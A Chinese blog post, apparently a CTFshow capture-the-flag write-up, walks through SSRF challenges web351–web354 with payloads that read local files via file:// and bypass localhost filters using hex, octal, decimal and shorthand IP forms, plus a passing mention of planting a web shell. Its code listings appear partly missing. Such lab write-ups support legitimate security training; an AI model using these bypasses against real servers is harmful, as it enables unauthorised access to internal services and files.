您当前的位置: 首页 > 

Z3eyOnd

暂无认证

  • 2浏览

    0关注

    117博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

SSRF-CTFshow

Z3eyOnd 发布时间:2021-10-20 17:43:50 ,浏览量:2

文章目录
    • 前言:
    • CTFshow
      • web351
      • web352
      • web353
      • web354
      • web355
      • web356
      • web357
      • web358
      • web359
      • web360
    • 参考文献

前言:

关于互联网协议的一些认识: 互联网协议1 互联网协议2

CTFshow

对SSRF,比较重要的就是先尝试每一个协议是否可以使用。

web351
  

代码审计,发现就是特别普通的curl语句,没有任何过滤,我们使用file协议来读取本地文件 所以我们可以使用file://来读取flag.php文件 payload

POST:url=file:///var/www/html/flag.php(一般的路径是这个)
还有个:
    url=http://127.0.0.1/flag.php(使用http://协议访问本地文件,类似于我们自己在本地搭建网站)

nginx配置路径:/etc/nginx/ngin.conf,用file可以访问

web352
  

parse_url:

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
例子:

输出:
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

这个题需要满足传输协议为http,https,但是ip地址不能为127.0.0.1

有许多绕过方式 进制转换

1.进制转换
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
2.特殊模式
url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.php
3.0.0.0.0绕过
url=http://0.0.0.0/flag.php
4.用CIDR绕过localhost
url=http://127.127.127.127/flag.php
5.短标签绕过,好像不行
ipv6绕过[::1],这题也不行。
使用句号绕过:url=http://127。0。0。1/flag.php,也不行
DNS重绑定
web353
  

同上,但是有一些payload不能用

web354

代码

 然后传入shell,默认生成shell.php 访问shell.php,任意命令执行。

参考文献

羽师傅 feng师傅 Y4爷

关注
打赏
1651657201
查看更多评论
0.0497s